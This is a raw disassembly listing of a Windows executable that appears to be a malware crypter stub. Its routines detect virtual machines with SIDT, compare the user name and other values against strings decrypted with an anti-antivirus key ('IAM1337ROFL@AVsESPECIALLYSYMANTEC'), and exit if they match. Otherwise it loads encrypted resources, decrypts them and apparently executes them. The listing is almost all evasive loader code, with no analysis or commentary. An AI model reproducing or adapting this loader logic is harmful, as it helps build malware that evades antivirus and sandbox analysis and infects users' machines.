		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404E49


loc_404E39:				; CODE XREF: sub_404DD4+73j
		lea	eax, [ebp+var_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404E42:				; DATA XREF: sub_404DD4+11o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404E39
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404DD4+6Dj
					; DATA XREF: sub_404DD4+60o
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404DD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404E50	proc near		; CODE XREF: sub_404E94+46p

var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebx
		add	esp, 0FFFFFEFCh
		mov	ebx, eax
		mov	[esp+108h+var_108], 100h
		push	esp
		lea	eax, [esp+10Ch+var_104]
		push	eax
		call	ds:dword_4076B4
		test	eax, eax
		jz	short loc_404E82
		mov	eax, ebx
		lea	edx, [esp+108h+var_104]
		mov	ecx, 100h
		call	sub_403670
		jmp	short loc_404E89
; ---------------------------------------------------------------------------


loc_404E82:				; CODE XREF: sub_404E50+1Ej
		mov	eax, ebx
		call	sub_403560


loc_404E89:				; CODE XREF: sub_404E50+30j
		add	esp, 104h
		pop	ebx
		retn
sub_404E50	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E94	proc near		; CODE XREF: sub_40520Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_404F1D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		lea	eax, [ebp+var_4]
		call	sub_404DD4
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_2 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404F60
		call	sub_403E78
		mov	edx, [ebp+var_8]
		pop	eax
		call	sub_403748
		jnz	short loc_404F02
		lea	eax, [ebp+var_C]
		call	sub_404E50
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_2 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404F74
		call	sub_403E78
		mov	edx, [ebp+var_10]
		pop	eax
		call	sub_403748
		jnz	short loc_404F02
		mov	bl, 1


loc_404F02:				; CODE XREF: sub_404E94+41j
					; sub_404E94+6Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404F24


loc_404F0F:				; CODE XREF: sub_404E94+8Ej
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404F1D:				; DATA XREF: sub_404E94+Do
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404F0F
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404E94+88j
					; DATA XREF: sub_404E94+76o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404E94	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_2	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_404E94+29o
					; sub_404E94+52o
		align 4
		dd 0FFFFFFFFh, 8
dword_404F60	dd 0ED432F4Eh, 0A1D1E7C7h, 0		dd 0FFFFFFFFh, 0Ch
dword_404F74	dd 0CF6B1358h, 96F9D2DCh, 0E9383372h, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F84	proc near		; CODE XREF: sub_40520C+1Bp

var_7		= byte ptr -7
var_6		= byte ptr -6

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		lea	eax, [ebp+var_7]
		sidt	fword ptr [ebp+var_6]
		cmp	dword ptr [ebp+var_6+2], 0F0000000h
		jle	short loc_404FA5
		cmp	dword ptr [ebp+var_6+2], 0FF000000h
		jg	short loc_404FB4
		jmp	short loc_404FBA
; ---------------------------------------------------------------------------


loc_404FA5:				; CODE XREF: sub_404F84+14j
		cmp	dword ptr [ebp+var_6+2], 0D0000000h
		jle	short loc_404FBA
		mov	[ebp+var_7], 1
		jmp	short loc_404FBE
; ---------------------------------------------------------------------------


loc_404FB4:				; CODE XREF: sub_404F84+1Dj
		mov	[ebp+var_7], 2
		jmp	short loc_404FBE
; ---------------------------------------------------------------------------


loc_404FBA:				; CODE XREF: sub_404F84+1Fj
					; sub_404F84+28j
		mov	[ebp+var_7], 0


loc_404FBE:				; CODE XREF: sub_404F84+2Ej
					; sub_404F84+34j
		mov	al, [eax]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404F84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FC4	proc near		; CODE XREF: sub_40520C+12p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_405026
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		xor	eax, eax
		call	sub_402A6C
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_3 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_405068
		call	sub_403E78
		mov	edx, [ebp+var_8]
		pop	eax
		call	sub_403748
		jnz	short loc_405009
		mov	bl, 1
		jmp	short loc_40500B
; ---------------------------------------------------------------------------


loc_405009:				; CODE XREF: sub_404FC4+3Fj
		xor	ebx, ebx


loc_40500B:				; CODE XREF: sub_404FC4+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40502D


loc_405018:				; CODE XREF: sub_404FC4+67j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_405026:				; DATA XREF: sub_404FC4+Bo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405018
; ---------------------------------------------------------------------------


loc_40502D:				; CODE XREF: sub_404FC4+61j
					; DATA XREF: sub_404FC4+4Fo
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404FC4	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_3	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_404FC4+27o
		align 10h
		dd 0FFFFFFFFh, 0Dh
dword_405068	dd 0EC7A6658h, 0A8CCEBE8h, 0D4105C59h, 0C3h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405078	proc near		; CODE XREF: sub_40520C+9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4050E9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, 40h
		call	sub_4027B4
		mov	esi, eax
		mov	[ebp+var_4], 40h
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	ds:dword_4076B0	; GetUserNameA
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_4 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40512C
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		cmp	esi, eax
		jnz	short loc_4050D3
		mov	bl, 1


loc_4050D3:				; CODE XREF: sub_405078+57j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4050F0


loc_4050E0:				; CODE XREF: sub_405078+76j
		lea	eax, [ebp+var_8]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_4050E9:				; DATA XREF: sub_405078+10o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4050E0
; ---------------------------------------------------------------------------


loc_4050F0:				; CODE XREF: sub_405078+70j
					; DATA XREF: sub_405078+63o
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_405078	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_4	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_405078+3Eo
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_40512C	dd 0ED542958h, 91C8E8ECh, 7174Fh
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405138	proc near		; CODE XREF: CODE:00405341p
					; CODE:00405394p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4051B2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_404D90
		mov	eax, [ebp+var_10]
		call	sub_404DC8
		lea	edx, [ebp+var_C]
		call	sub_404D90
		mov	eax, [ebp+var_C]
		call	sub_404DC8
		lea	edx, [ebp+var_8]
		call	sub_404D90
		mov	eax, [ebp+var_8]
		call	sub_404DC8
		lea	edx, [ebp+var_4]
		call	sub_404D90
		mov	eax, [ebp+var_4]
		call	sub_404DC8
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4051B9


loc_4051A4:				; CODE XREF: sub_405138+7Fj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_4051B2:				; DATA XREF: sub_405138+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4051A4
; ---------------------------------------------------------------------------


loc_4051B9:				; CODE XREF: sub_405138+79j
					; DATA XREF: sub_405138+67o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405138	endp


; =============== S U B	R O U T	I N E =======================================



sub_4051C0	proc near		; CODE XREF: CODE:004052E7p
					; CODE:00405357p
		push	ebx
		push	esi
		mov	esi, eax
		push	0Ah
		push	edx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076B8	; FindResourceA
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076BC	; SizeofResource
		mov	[esi], eax
		push	ebx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076C0	; LoadResource
		mov	ebx, eax
		push	ebx
		call	ds:dword_4076C4	; SetHandleCount
		mov	esi, eax
		test	esi, esi
		jz	short loc_405207
		push	ebx
		call	ds:dword_4076C8	; FreeResource


loc_405207:				; CODE XREF: sub_4051C0+3Ej
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4051C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40520C	proc near		; CODE XREF: CODE:004052D8p
		call	sub_404E94
		cmp	al, 1
		jz	short loc_405230
		call	sub_405078
		cmp	al, 1
		jz	short loc_405230
		call	sub_404FC4
		cmp	al, 1
		jz	short loc_405230
		call	sub_404F84
		cmp	al, 2
		jnz	short locret_405237


loc_405230:				; CODE XREF: sub_40520C+7j
					; sub_40520C+10j ...
		xor	eax, eax
		call	sub_403548
; ---------------------------------------------------------------------------

locret_405237:				; CODE XREF: sub_40520C+22j
		retn
sub_40520C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405238	proc near		; DATA XREF: CODE:004052A4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_405257
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40525E


loc_405256:				; CODE XREF: sub_405238+24j
		retn
; ---------------------------------------------------------------------------


loc_405257:				; DATA XREF: sub_405238+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405256
; ---------------------------------------------------------------------------


loc_40525E:				; CODE XREF: sub_405238:loc_405256j
					; DATA XREF: sub_405238+19o
		pop	ebp
		retn
sub_405238	endp

; ---------------------------------------------------------------------------
dword_405260	dd 8							; BSS:off_407628o
		dd offset off_405268
off_405268	dd offset loc_403C84	; DATA XREF: CODE:00405264o
		dd offset sub_403C54
		dd offset sub_403A78
		dd offset sub_403A24
		dd offset sub_403CBC
		dd offset sub_403C8C
		dd offset sub_403D0C
		dd offset sub_403CDC
		dd offset sub_403F10
		dd offset sub_403EE0
		dd offset sub_4041B8
		dd offset sub_404188
		dd offset sub_4049CC
		dd offset sub_40499C
		dd 0
		dd offset sub_405238
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 4


loc_4052B0:				; CODE XREF: CODE:004052B5j
		push	0
		push	0
		dec	ecx
		jnz	short loc_4052B0
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_405260
		call	sub_403C10
		xor	eax, eax
		push	ebp
		push	offset loc_405444
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4049DC
		call	sub_40520C
		mov	edx, offset dword_405454
		mov	eax, offset dword_4076D0
		call	sub_4051C0
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4052FA
		push	0
		call	ds:dword_4076CC	; ExitProcess


loc_4052FA:				; CODE XREF: CODE:004052F0j
		mov	edx, offset dword_4076DC
		mov	eax, ebx
		mov	ecx, ds:dword_4076D0
		call	sub_4028C8
		mov	edi, 1
		mov	eax, offset dword_4077E0
		call	sub_403560
		mov	esi, 0Ah


loc_405320:				; CODE XREF: CODE:0040541Bj
		lea	edx, [ebp-14h]
		mov	eax, edi
		call	sub_404D90
		mov	ecx, [ebp-14h]
		mov	eax, offset dword_4077E0
		mov	edx, offset dword_405460
		call	sub_4036D4
		mov	eax, 91h
		call	sub_405138
		mov	eax, ds:dword_4077E0
		call	sub_4037FC
		mov	edx, eax
		mov	eax, offset dword_4076D4
		call	sub_4051C0
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_405411
		mov	eax, offset dword_4076D8
		mov	edx, ds:dword_4076D4
		call	sub_403854
		mov	eax, offset dword_4076D8
		call	sub_40384C
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, ds:dword_4076D4
		call	sub_4028C8
		mov	eax, 91h
		call	sub_405138
		lea	ecx, [ebp-18h]
		mov	edx, offset aIam1337rofl@_5 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, ds:dword_4076D8
		call	sub_403E78
		mov	edx, [ebp-18h]
		mov	eax, offset dword_4076D8
		call	sub_4035B4
		mov	eax, ds:dword_4076D8
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		call	sub_403F24
		mov	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_4040B4
		mov	edx, [ebp-1Ch]
		mov	eax, offset dword_4076D8
		call	sub_4035B4
		mov	eax, 91h
		call	sub_405138
		push	0
		lea	edx, [ebp-24h]
		xor	eax, eax
		call	sub_402A6C
		mov	eax, [ebp-24h]
		push	eax
		mov	eax, offset dword_4076D8
		call	sub_40384C
		xor	ecx, ecx
		pop	edx
		call	sub_4046C0
		test	al, al
		jmp	short loc_405419
; ---------------------------------------------------------------------------


loc_405411:				; CODE XREF: CODE:00405360j
		push	0
		call	ds:dword_4076CC	; ExitProcess


loc_405419:				; CODE XREF: CODE:0040540Fj
		inc	edi
		dec	esi
		jnz	loc_405320
		push	0
		call	ds:dword_4076CC	; ExitProcess
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40544B


loc_405436:				; CODE XREF: CODE:00405449j
		lea	eax, [ebp-24h]
		mov	edx, 5
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_405444:				; DATA XREF: CODE:004052C8o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405436
; ---------------------------------------------------------------------------


loc_40544B:				; CODE XREF: CODE:00405443j
					; DATA XREF: CODE:00405431o
		pop	edi
		pop	esi
		pop	ebx
		call	sub_403468
; ---------------------------------------------------------------------------
		align 4
dword_405454	dd 544553h, 0FFFFFFFFh,	2dword_405460	dd 4643h, 0FFFFFFFFh, 21haIam1337rofl@_5	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: CODE:0040539Co
		align 10h
CODE		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 000000C4 (	196.)
; Section size in file		: 000000C4 (	196.)
; Offset to raw	data for section: 00006000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 406000h
dword_406000	dd 0							; sub_4033AC+2w ...
dword_406004	dd 0							; sub_403350+37r ...
byte_406008	db 2			; DATA XREF: sub_403A78+Dw
		db 8Dh,	40h, 0
word_40600C	dw 1332h		; DATA XREF: sub_402CDC+6r
					; sub_402CDC:loc_402D54r ...
		dw 0C08Bh
byte_406010	db 0			; DATA XREF: sub_402DB8r sub_402DD4r ...
		db 8Dh,	40h, 0
byte_406014	db 0			; DATA XREF: sub_403230-336r
					; sub_403230:loc_402F35r
		db 8Dh,	40h, 0
byte_406018	db 0			; DATA XREF: sub_4033DC:loc_40343Dr
		db 8Dh,	40h, 0
dword_40601C	dd 0		dword_406020	dd 0		off_406024	dd offset sub_402160	; DATA XREF: sub_4027B4+Ar
					; sub_402804+3Fr
off_406028	dd offset sub_40230C	; DATA XREF: sub_4027E4+5r
					; sub_402804+26r
off_40602C	dd offset sub_4026E8	; DATA XREF: sub_402804+Dr
byte_406030	db 0			; DATA XREF: sub_402860+36r
aRsu		db '',0
aFxn@		db '@',0
aError		db 'Error',0            ; DATA XREF: sub_4033DC+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_403350+3o
					; sub_4033DC+32o ...
		dw 0C08Bh
byte_406074	db 30h			; DATA XREF: sub_403350+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_403B80+Cr
					; sub_403B80+37r ...
dword_406088	dd 0							; sub_403C10+33o ...
dword_40608C	dd 400000h	dword_406090	dd 0		dword_406094	dd 0				align 10h
dword_4060A0	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_4060C0	dd offset dword_40769C	; DATA XREF: sub_4049DC+20Br
					; sub_4049DC+214r ...
DATA		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 000007E5 (   2021.)
; Section size in file		: 000007E5 (   2021.)
; Offset to raw	data for section: 00007000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 407000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_407000	dd offset sub_4038B8	; DATA XREF: sub_403A78+2Fw
dword_407004	dd 0		dword_407008	dd 0							; sub_402860+16r
dword_40700C	dd 0							; CODE:004031A0r
off_407010	dd offset sub_401008	; DATA XREF: sub_402DB8+14r
					; sub_402DD4+16r ...
off_407014	dd offset sub_401010	; DATA XREF: sub_403230-2B6r
					; CODE:00403188r ...
dword_407018	dd 0							; sub_403468+B7r
dword_40701C	dd 400000h	dword_407020	dd 6C8h		byte_407024	db 0			; DATA XREF: sub_403310+33w
		align 4
dword_407028	dd 0Ah		dword_40702C	dd 142340h	dword_407030	dd 0		byte_407034	db 0			; DATA XREF: sub_4033DC+1r
byte_407035	db 0			; DATA XREF: sub_401904+1Cr
					; sub_401904:loc_4019B8r ...
byte_407036	db 2			; DATA XREF: sub_403A78+28w
		align 4
dword_407038	dd 0							; sub_403A24+19o
word_40703C	dw 0D7B0h		; DATA XREF: sub_403A78+4Cw
		align 10h
		dd 71h dup(0)
dword_407204	dd 0							; sub_403A24+23o
word_407208	dw 0D7B0h		; DATA XREF: sub_4033DC+Ar
					; sub_403A78+55w
		align 10h
dword_407210	dd 0				align 10h
dword_407220	dd 0				dd 6Bh dup(0)
dword_4073D0	dd 0		word_4073D4	dw 0D7B0h		; DATA XREF: sub_403A78+5Ew
		align 4
		dd 71h dup(0)
dword_40759C	dd 1							; sub_402018+C3w ...
dword_4075A0	dd 40h							; sub_402018+CCw ...
dword_4075A4	dd 0							; sub_403A78w
dword_4075A8	dd 3							; sub_403A78+B2w ...
byte_4075AC	db 0			; DATA XREF: sub_401904+A0w
					; sub_401904:loc_4019D3r ...
		align 10h
dword_4075B0	dd 0							; sub_4015C8+99w ...
dword_4075B4	dd 6 dup(0)						; sub_401904+25o ...
dword_4075CC	dd 0							; sub_4010FC+3Cw ...
dword_4075D0	dd 147A5Ch						; sub_4011E4+22r ...
off_4075D4	dd offset off_4075D4	; DATA XREF: sub_401364+3Eo
					; sub_4013C8+51o ...
		dd offset off_4075D4
		dd 2 dup(0)
off_4075E4	dd offset off_4075E4	; DATA XREF: sub_401684+Do
					; sub_40172C+12o ...
		dd offset off_4075E4
		dd 2 dup(0)
aDzdz:					; DATA XREF: sub_401904+80o
					; sub_402018:loc_40202Fr
		unicode	0, <DD>,0
		align 10h
dword_407600	dd 870044h						; sub_401ADC+4r ...
dword_407604	dd 0		dword_407608	dd 0							; sub_401EA8+2Er ...
dword_40760C	dd 0							; sub_401904+5Er ...
off_407610	dd offset off_407610	; DATA XREF: sub_401904+43o
					; sub_4019DC+90o ...
		dd offset off_407610
		align 10h
dword_407620	dd 0							; sub_4032A0+9o ...
dword_407624	dd 12FFB4h						; sub_403208+2r
off_407628	dd offset dword_405260	; DATA XREF: sub_403310+14w
dword_40762C	dd 0		off_407630	dd offset dword_406088	; DATA XREF: sub_403310+20w
		dd 6 dup(0)
byte_40764C	db 0			; DATA XREF: sub_403BC4r
		align 10h
dword_407650	dd 400000h						; sub_403C10+16r ...
dword_407654	dd 0							; CODE:loc_403C84w
dword_407658	dd 0		dword_40765C	dd 0							; sub_403CBCw
dword_407660	dd 0							; sub_403D0Cw
dword_407664	dd 0							; sub_403F10w
dword_407668	dd 0							; sub_4041B8w
dword_40766C	dd 0							; sub_403F24+DBr
dword_407670	dd 0							; sub_403F24+A8r ...
dword_407674	dd 0							; sub_4046C0+291r
dword_407678	dd 0							; sub_4041C0+22Ew ...
dword_40767C	dd 0							; sub_4046C0+15Ar
dword_407680	dd 0							; sub_4046C0+FDr
dword_407684	dd 0							; sub_4046C0+D7r
dword_407688	dd 0							; sub_4046C0+98r
dword_40768C	dd 0							; sub_4046C0+184r ...
dword_407690	dd 0		dword_407694	dd 0							; sub_4046C0+201r
dword_407698	dd 0							; sub_4046C0+113r
dword_40769C	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_4041C0+234r ...
dword_4076A0	dd 0							; sub_4046C0+285r
dword_4076A4	dd 0							; sub_4049CCw
dword_4076A8	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4049DC+A6r ...
dword_4076AC	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_4076B0	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_404DD4+3Dr ...
dword_4076B4	dd 0							; sub_404E50+16r
dword_4076B8	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceA					; sub_4051C0+Dr
dword_4076BC	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResource					; sub_4051C0+1Cr
dword_4076C0	dd 7C809FB5h	; resolved to->KERNEL32.LoadResource					; sub_4051C0+2Br
dword_4076C4	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCount					; sub_4051C0+34r
dword_4076C8	dd 7C8260C2h	; resolved to->KERNEL32.FreeResource					; sub_4051C0+41r
dword_4076CC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; CODE:004052F4r ...
dword_4076D0	dd 0							; CODE:00405301r
dword_4076D4	dd 0							; CODE:0040536Br ...
dword_4076D8	dd 0							; CODE:00405376o ...
dword_4076DC	dd 41h dup(0)	dword_4077E0	dd 0							; CODE:0040532Do ...
		db 0
BSS		ends

; Section 4. (virtual address 00008000)
; Virtual size			: 000003F4 (   1012.)
; Section size in file		: 000003F4 (   1012.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 408000h
		dd 3 dup(0)
		dd 8134h, 808Ch, 3 dup(0)
		dd 82D2h, 80E8h, 3 dup(0)
		dd 830Ah, 80F8h, 3 dup(0)
		dd 834Ah, 8108h, 3 dup(0)
		dd 8396h, 811Ch, 3 dup(0)
		dd 83D4h, 812Ch, 5 dup(0)
dword_40808C	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_408090	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_408094	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_408098	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_40809C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_4080A0	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_4080A4	dd 7C80992Fh	; resolved to->KERNEL32.LocalFree					; sub_437612+1Er ...
dword_4080A8	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_4080AC	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4080B0	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_4080B4	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_4080B8	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_4080BC	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_4080C0	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4080C4	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4080C8	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_4080CC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_4080D0	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_4080D4	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4080D8	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4080DC	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_4080E0	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle		align 8
dword_4080E8	dd 7E43119Bh	; resolved to->USER32.GetKeyboardTypedword_4080EC	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_4080F0	dd 7E42DF50h	; resolved to->USER32.CharNextA		align 8
dword_4080F8	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_4080FC	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_408100	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		align 8
dword_408108	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_40810C	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_408110	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_408114	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 0
dword_40811C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_408120	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_408124	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary		dd 0
dword_40812C	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress		dd 0
aKernel32_dll	db 'kernel32.dll',0
		align 4
aDeletecritical	db 'DeleteCriticalSection',0
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aEntercriticals	db 'EnterCriticalSection',0
		align 4
aInitializecrit	db 'InitializeCriticalSection',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion	db 'GetVersion',0
		align 4
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 636F4C74h
		dd 49656C61h, 416F666Eh, 0
aGetcommandline	db 'GetCommandLineA',0
		dd 72460000h, 694C6565h, 72617262h, 79h, 74697845h, 636F7250h
		dd 737365h, 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
